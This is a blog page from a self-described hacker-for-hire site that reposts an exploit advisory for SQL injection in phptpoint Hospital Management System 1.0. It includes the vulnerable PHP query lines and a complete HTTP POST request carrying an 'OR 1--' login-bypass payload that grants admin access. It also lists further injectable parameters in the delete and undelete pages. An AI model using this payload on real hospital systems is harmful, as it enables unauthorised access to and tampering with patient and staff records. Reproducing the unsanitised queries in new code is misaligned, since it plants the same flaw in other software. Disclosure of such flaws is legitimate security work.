Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86385966

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title:  phptpoint Hospital Management System 1.0 - 'user' SQL injection 
# Date: 2018-10-24
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.phptpoint.com/
# Software Link:  
# Version: 1
# Tested on: WAMP windows 10 x64
# CVE: unknown

# Description:
# Phptpoint hospital management system suffers from multiple SQL injection vulnerabilities that 
# allow an attacker to bypass the login page and authenticate with admin, and then easily 
# get database information or execute arbitrary commands.
 
# LOGIN.php SQL injection

 13  extract($_POST);
 14  if(isset($signIn))
 15  {
 16         //echo $user,$pass;
 17         //for Admin
 18         $que=mysql_query("select user,pass from admin where user='$user' and pass='$pass'");
 19          $row= mysql_num_rows($que);
 20          echo "raw ".$row;
 21          if($row)
 22          {
 23                 $_SESSION['admin']      =$user;
 24                 echo "<script>window.location='alist.php'</script>";

# Payload:

POST /hospital/index.php HTTP/1.1
Host: 172.16.122.4
Content-Length: 38
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/hospital/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85
Connection: close

user=admin%40gmail.com'+OR+1--+&pass=anything&signIn=

# ALIST.php SQLi

33 $todel=$_GET['rno'];
34 mysql_query("update appt SET ashow='N' where ano='$todel' ;");
35 }

# DUNDEL.php SQLi 

21 $rno=$_GET["rno"];
22 mysql_query("update doct set dshow='Y' where dno='$rno'");
23 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
24  echo "<tr><td align=center><a href=dlist.php>Continue...</a></td></tr>";

# PDEL.php SQLi

25 $todel=$_GET['rno'];
26 mysql_query("update Patient SET pshow='N' where pno='$todel' ;");

# PUNDEL.php SQLi

20 $rno=$_GET["rno"];
21
22 
23 mysql_query("update Patient set pshow='Y' where pno='$rno'");
24 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
25 echo "<tr><td align=center><a href=plist.php>Continue...</a></td></tr>";